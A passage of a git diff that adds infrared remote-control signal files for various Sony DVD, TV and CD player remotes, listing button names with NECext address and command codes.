a/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_DVD/26,73.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_DVD/26,73.ir new file mode 100644 index 000000000..45cc0fed7 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_DVD/26,73.ir @@ -0,0 +1,242 @@ +Filetype: IR signals file +Version: 1 +# +name: NUMBER_1 +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 00 00 00 00 +# +name: NUMBER_2 +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 01 00 00 00 +# +name: NUMBER_3 +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 02 00 00 00 +# +name: NUMBER_4 +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 03 00 00 00 +# +name: NUMBER_5 +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 04 00 00 00 +# +name: NUMBER_6 +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 05 00 00 00 +# +name: NUMBER_7 +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 06 00 00 00 +# +name: NUMBER_8 +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 07 00 00 00 +# +name: NUMBER_9 +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 08 00 00 00 +# +name: NUMBER_0 +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 09 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 0B 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 0E 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 0F 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 15 00 00 00 +# +name: KEY_OPEN +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 16 00 00 00 +# +name: KEY_TITLE +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 1A 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 1B 00 00 00 +# +name: PROGRAM +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 1F 00 00 00 +# +name: SEARCH_BACKWARD +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 20 00 00 00 +# +name: SEARCH_FORWARD +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 21 00 00 00 +# +name: SCAN_BACKWARD +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 22 00 00 00 +# +name: SCAN_FORWARD +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 23 00 00 00 +# +name: TIME_TEXT +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 28 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 2C 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 30 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 31 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 32 00 00 00 +# +name: SHUFFLE +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 35 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 38 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 39 00 00 00 +# +name: TV_DVD +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 51 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 54 00 00 00 +# +name: DVE +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 58 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 63 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 64 00 00 00 +# +name: KEY_ANGLE +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 65 00 00 00 +# +name: ARROW_UP +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 79 00 00 00 +# +name: ARROW_DOWN +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 7A 00 00 00 +# +name: ARROW_LEFT +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 7B 00 00 00 +# +name: ARROW_RIGHT +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 7C 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-687C/1,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-687C/1,-1.ir new file mode 100644 index 000000000..9c15a6042 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-687C/1,-1.ir @@ -0,0 +1,152 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 00 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 01 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 02 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 03 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 04 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 05 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 06 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 07 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 08 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 09 00 00 00 +# +name: KEY_1- +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0C 00 00 00 +# +name: KEY_2- +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0D 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 10 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 11 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 12 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 13 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 14 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 15 00 00 00 +# +name: normal +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 16 00 00 00 +# +name: tv/video +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 25 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 36 00 00 00 +# +name: display +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 3A 00 00 00 +# +name: KEY_KPPLUS +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 74 00 00 00 +# +name: KEY_KPMINUS +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 75 00 00 00 +# +name: KEY_SELECT +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 7C 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-860/1,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-860/1,-1.ir new file mode 100644 index 000000000..6fd6ba587 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-860/1,-1.ir @@ -0,0 +1,74 @@ +Filetype: IR signals file +Version: 1 +# +name: PorgramUp +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 10 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 11 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 12 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 13 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 14 00 00 00 +# +name: Off +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 15 00 00 00 +# +name: KEY_CYCLEWINDOWS +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 25 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 31 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 32 00 00 00 +# +name: Display +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 3F 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 60 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 65 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-861/1,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-861/1,-1.ir new file mode 100644 index 000000000..d1a09bcf1 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-861/1,-1.ir @@ -0,0 +1,182 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 00 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 01 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 02 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 03 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 04 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 05 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 06 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 07 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 08 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 09 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0B 00 00 00 +# +name: ch_guide +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0E 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 10 00 00 00 +# +name: chDN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 11 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 12 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 13 00 00 00 +# +name: muting +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 14 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 15 00 00 00 +# +name: reset +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 16 00 00 00 +# +name: mts +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 17 00 00 00 +# +name: tv/video +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 25 00 00 00 +# +name: surround +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 29 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 36 00 00 00 +# +name: display +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 3A 00 00 00 +# +name: jump +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 3B 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 60 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 65 00 00 00 +# +name: auto_pgm +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 6B 00 00 00 +# +name: KEY_KPPLUS +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 74 00 00 00 +# +name: KEY_KPMINUS +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 75 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-873/1,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-873/1,-1.ir new file mode 100644 index 000000000..c49b32fc2 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-873/1,-1.ir @@ -0,0 +1,176 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 00 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 01 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 02 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 03 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 04 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 05 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 06 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 07 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 08 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 09 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 10 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 11 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 12 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 13 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 14 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 15 00 00 00 +# +name: A/B +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 17 00 00 00 +# +name: KEY_102ND +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1D 00 00 00 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 25 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 36 00 00 00 +# +name: KEY_TV +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 38 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 3A 00 00 00 +# +name: JUMP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 3B 00 00 00 +# +name: WAKE_UP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 3C 00 00 00 +# +name: KEY_TEXT +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 3F 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 60 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 74 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 75 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 7C 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-D190/17,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-D190/17,-1.ir new file mode 100644 index 000000000..e2160aea9 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-D190/17,-1.ir @@ -0,0 +1,140 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 00 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 01 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 02 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 03 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 04 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 05 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 06 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 07 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 08 00 00 00 +# +name: continue +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 1D 00 00 00 +# +name: pgm +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 1F 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 20 00 00 00 +# +name: >10 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 27 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 2C 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 30 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 31 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 32 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 33 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 34 00 00 00 +# +name: shuffle +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 35 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 38 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 39 00 00 00 +# +name: fader +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 5F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-D270/17,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-D270/17,-1.ir new file mode 100644 index 000000000..ab71e22d5 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-D270/17,-1.ir @@ -0,0 +1,230 @@ +Filetype: IR signals file +Version: 1 +# +name: CLEAR +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 0F 00 00 00 +# +name: ^ +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 0F 00 00 00 +# +name: 18 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 11 00 00 00 +# +name: 19 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 11 00 00 00 +# +name: CONTINUE +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 1D 00 00 00 +# +name: SINGLE +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 1E 00 00 00 +# +name: PGM +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 1F 00 00 00 +# +name: SHUFFLE +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 1F 00 00 00 +# +name: 10 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 20 00 00 00 +# +name: 11 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 20 00 00 00 +# +name: 12 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 22 00 00 00 +# +name: 13 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 22 00 00 00 +# +name: 14 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 24 00 00 00 +# +name: 15 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 25 00 00 00 +# +name: 16 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 25 00 00 00 +# +name: 17 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 25 00 00 00 +# +name: >20 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 27 00 00 00 +# +name: CHECK +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 27 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 38 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 38 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 38 00 00 00 +# +name: FORWARD +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 38 00 00 00 +# +name: FORWARD_slow +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 38 00 00 00 +# +name: REWIND_slow +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 38 00 00 00 +# +name: REWIND +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 38 00 00 00 +# +name: NEXT +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 38 00 00 00 +# +name: PREVIOUS +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 38 00 00 00 +# +name: TIME +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 38 00 00 00 +# +name: FADER +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 38 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 38 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 38 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 38 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 38 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 38 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 38 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 38 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 38 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 38 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-D295/17,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-D295/17,-1.ir new file mode 100644 index 000000000..946257a0e --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-D295/17,-1.ir @@ -0,0 +1,158 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 00 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 01 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 02 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 03 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 04 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 05 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 06 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 07 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 08 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 09 00 00 00 +# +name: CONTINUE +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 1D 00 00 00 +# +name: PROGRAM +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 1F 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 20 00 00 00 +# +name: >10 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 27 00 00 00 +# +name: KEY_TIME +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 28 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 2C 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 30 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 31 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 32 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 33 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 34 00 00 00 +# +name: SHUFFLE +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 35 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 38 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 39 00 00 00 +# +name: M.SCAN +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 3C 00 00 00 +# +name: FADER +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 5F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-D302/17,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-D302/17,-1.ir new file mode 100644 index 000000000..f2387ad7a --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-D302/17,-1.ir @@ -0,0 +1,212 @@ +Filetype: IR signals file +Version: 1 +# +name: cd_1 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 00 00 00 00 +# +name: cd_2 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 01 00 00 00 +# +name: cd_3 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 02 00 00 00 +# +name: cd_4 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 03 00 00 00 +# +name: cd_5 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 04 00 00 00 +# +name: cd_6 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 05 00 00 00 +# +name: cd_7 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 06 00 00 00 +# +name: cd_8 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 07 00 00 00 +# +name: cd_9 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 08 00 00 00 +# +name: cd_0 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 09 00 00 00 +# +name: cd_clear +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 0F 00 00 00 +# +name: cd_17 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 10 00 00 00 +# +name: cd_18 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 11 00 00 00 +# +name: cd_19 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 17 00 00 00 +# +name: cd_10 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 20 00 00 00 +# +name: cd_11 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 21 00 00 00 +# +name: cd_12 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 22 00 00 00 +# +name: cd_13 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 23 00 00 00 +# +name: cd_14 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 24 00 00 00 +# +name: cd_15 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 25 00 00 00 +# +name: cd_16 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 26 00 00 00 +# +name: cd_+10 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 27 00 00 00 +# +name: cd_time +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 28 00 00 00 +# +name: cd_20 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 29 00 00 00 +# +name: cd_ab +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 2A 00 00 00 +# +name: cd_all +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 2C 00 00 00 +# +name: cd_last +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 30 00 00 00 +# +name: cd_next +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 31 00 00 00 +# +name: cd_play +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 32 00 00 00 +# +name: cd_ind_dec +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 36 00 00 00 +# +name: cd_ind_inc +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 37 00 00 00 +# +name: cd_stop +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 38 00 00 00 +# +name: cd_pause +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 39 00 00 00 +# +name: cd_rwnd +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 3A 00 00 00 +# +name: cd_ffwd +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 3B 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-D320/17,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-D320/17,-1.ir new file mode 100644 index 000000000..8bd7402a6 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-D320/17,-1.ir @@ -0,0 +1,158 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 00 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 01 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 11 00 00 00 